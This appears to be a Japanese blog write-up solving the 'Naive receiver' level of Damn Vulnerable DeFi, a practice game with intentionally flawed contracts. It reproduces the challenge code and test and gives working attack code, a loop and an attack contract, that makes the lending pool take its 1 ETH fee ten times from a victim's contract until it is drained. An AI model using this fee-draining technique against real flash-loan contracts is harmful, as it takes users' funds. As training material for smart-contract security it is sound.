Damn Vulnerable DeFiのNaive receiverの解説
Damn Vulnerable DeFiの2つ目のNaive receiverの解説&解答をしていきます!
問題確認
Damn Vulnerable DeFi Naive receiverの問題のリンク貼っときます。
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
こちらが問題の内容。訳すと
「1000 ETHの残高を持つプールがあり、フラッシュローンを提供しています。このプールは1 ETHの固定手数料を設定しています。
あるユーザーが10 ETHの残高を持つコントラクトをデプロイしました。このコントラクトは、プールと相互作用し、ETHのフラッシュローンを受け取ることができます。
ユーザーのコントラクトから全てのETHを取り出してください。可能であれば、単一のトランザクションで行ってください。」
となっております。
ここのポイントは10ETH持つコントラクトから全てのETHを取り出す。できれば単一のトランザクションで。
ですね。ただの嫌がらせみたいな問題ですが、とりあえずなんとかして10ETH全て取ってしまおう!ってことです!
コードの詳細
NaiveReceiverLenderPool.solの内容
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();
function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}
function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
// Allow deposits of ETH
receive() external payable {}
}
FlashLoanReceiver.solの内容
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
error UnsupportedCurrency();
constructor(address _pool) {
pool = _pool;
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != ETH)
revert UnsupportedCurrency();
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive() external payable {}
}
テストも載せておきます。
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Naive receiver', function () {
let deployer, user, player;
let pool, receiver;
// Pool has 1000 ETH in balance
const ETHER_IN_POOL = 1000n * 10n ** 18n;
// Receiver has 10 ETH in balance
const ETHER_IN_RECEIVER = 10n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, user, player] = await ethers.getSigners();
const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer);
const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer);
pool = await LenderPoolFactory.deploy();
await deployer.sendTransaction({ to: pool.address, value: ETHER_IN_POOL });
const ETH = await pool.ETH();
expect(await ethers.provider.getBalance(pool.address)).to.be.equal(ETHER_IN_POOL);
expect(await pool.maxFlashLoan(ETH)).to.eq(ETHER_IN_POOL);
expect(await pool.flashFee(ETH, 0)).to.eq(10n ** 18n);
receiver = await FlashLoanReceiverFactory.deploy(pool.address);
await deployer.sendTransaction({ to: receiver.address, value: ETHER_IN_RECEIVER });
await expect(
receiver.onFlashLoan(deployer.address, ETH, ETHER_IN_RECEIVER, 10n ** 18n, "0x")
).to.be.reverted;
expect(
await ethers.provider.getBalance(receiver.address)
).to.eq(ETHER_IN_RECEIVER);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// All ETH has been drained from the receiver
expect(
await ethers.provider.getBalance(receiver.address)
).to.be.equal(0);
expect(
await ethers.provider.getBalance(pool.address)
).to.be.equal(ETHER_IN_POOL + ETHER_IN_RECEIVER);
});
});
このテストの中身を追っていけば、どの関数を呼び出しているのかがわかるので、確認しましょう!
最後のこの部分を見れば結果どうなったらいいのかが分かります。
expect(
await ethers.provider.getBalance(receiver.address)
).to.be.equal(0);
expect(
await ethers.provider.getBalance(pool.address)
).to.be.equal(ETHER_IN_POOL + ETHER_IN_RECEIVER);
receverの残高がゼロとpoolにreciverの10ETHとpoolの1000ETHがあればOK!
ということは、playerが奪うのではなくてNaiveReceiverLenderPoolへreciverから移動できればいいということがわかります。このヒントがあればだいぶ難易度は下がりそうですね。
攻撃の考え方
ではどうゆうふうに攻撃したらいいのかを考えていきましょう!
まずは、reciverから見てみましょう!ここに関しては1つの関数だけをみます。
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
// poolのアドレスと実行者のアドレスが一致しない場合はrevert
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
// tokenがETHでない場合はrevert
if (token != ETH)
revert UnsupportedCurrency();
// 支払うべき金額を計算
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
// 何か処理を実行(今回は空白)
_executeActionDuringFlashLoan();
// Return funds to pool
// ここでPoolに返済する
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
onFlashLoanを実行した後には、このような感じの流れになります。コメントで処理の流れを書いていますが、ここでのキモは手数料をpoolに払っているところです。
残念ながらexternalであるものの、実行者とpoolのアドレスが一緒であることを確認されているので、このonFlashLoanの実行は不可能でしょう。なので、次はPoolの方を見てみましょう。
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// tokenがETHでない場合はrevert
if (token != ETH) revert UnsupportedCurrency();
// 最初の残高を取得
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
// flashLoanに必要なETHをreceiverへ送金
SafeTransferLib.safeTransferETH(address(receiver), amount);
// receiverのonFlashLoanを実行
if (
receiver.onFlashLoan(msg.sender, ETH, amount, FIXED_FEE, data) !=
CALLBACK_SUCCESS
) {
revert CallbackFailed();
}
// 最初の残高と手数料を足したものよりも残高が少ない場合はrevert
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
ここでも攻撃対象となるのは、flashLoanです。externalになっているので、誰でも実行できちゃいます。
ここでいちばんの注目すべきことは、amountを一切チェックしていません。ということは0でも実行できちゃいます。0でもいくらでも実行すると手数料のFIXED_FEE=1ETHが手数料としてreciverから引かれます。
ということは、10回flashLoanすれば手数料の合計が10ETHになることがわかりました!
盗まなくて、pool内に10ETHを送れば正解だったので、この攻撃方法で問題なさそうです。さて、どうやって実際に攻撃するのでしょうか?
実際の攻撃方法
今回の問題は、できれば1回のトランザクションで10ETHを奪えでした。まずは簡単な、複数のトランザクションの攻撃例を書きます。
攻撃パターン1:複数回のトランザクション
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, pool.ETH(), 0, "0x");
}
こんな感じで10回flashLoanを0ETHで実行すれば、全ての10ETHを手数料としてPoolへ移動できます!めっちゃ簡単ですね!
攻撃パターン2:シングルトランザクション
シングルトランザクションにするには、一回の実行で10回分の実行をしなくてはなりません。なので、今のままではできないので攻撃用のコントラクトを作って実行していきます。(雑にコントラクト書くので、あまり気にしないでくださいw)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./NaiveReceiverLenderPool.sol";
import "./FlashLoanReceiver.sol";
contract AttackFlashLoanReceiver {
NaiveReceiverLenderPool public pool;
FlashLoanReceiver public receiver;
constructor(address payable _pool, address payable _receiver) payable {
pool = NaiveReceiverLenderPool(_pool);
receiver = FlashLoanReceiver(_receiver);
}
function attack() public {
for (uint256 i = 0; i < 10; i++) {
require(
pool.flashLoan(receiver, pool.ETH(), 0 ether, ""),
"failed"
);
}
}
receive() external payable {}
}
こんな感じで、attackのコントラクトで10回poolのflashLoanを実行しているだけです。これだけで、attackのシングルコントラクトで10ETHの全てを取り出すことができました!
これでさらにハッカーに近づいたので、次の問題も挑戦しましょう!